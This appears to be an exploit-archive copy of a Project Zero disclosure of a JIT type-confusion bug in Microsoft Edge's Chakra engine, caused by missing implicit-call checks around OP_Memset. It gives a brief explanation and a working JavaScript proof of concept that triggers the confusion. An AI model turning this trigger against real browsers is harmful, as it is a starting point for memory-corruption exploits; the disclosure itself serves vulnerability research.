ExploitFixes
Microsoft Edge Chakra: JIT - 'OP_Memset' Type Confusion 2017-11-16 19:06:01

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1357

function opt(a, b, v) {
if (b.length < 1)
return;

for (let i = 0; i < a.length; i++)
a[i] = v;

b[0] = 2.3023e-320;
}

The above JavaScript code is JITed as follows:

... CHECKING THE TYPE OF B ...
OP_Memset(a, v, a.length);
b[0] = 2.3023e-320;

But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.

The PoC shows that it can result in type confusion.

PoC:
*/

function opt(a, b, v) {
if (b.length < 1)
return;

for (let i = 0; i < a.length; i++)
a[i] = v;

b[0] = 2.3023e-320;
}

function main() {
for (let i = 0; i < 1000; i++) {
opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
}

let a = new Uint8Array(100);
let b = [1.1, 2.2, 3.3];
opt(a, b, {
valueOf: () => {
b[0] = {};
return 0;
}
});

print(b[0]);
}

main();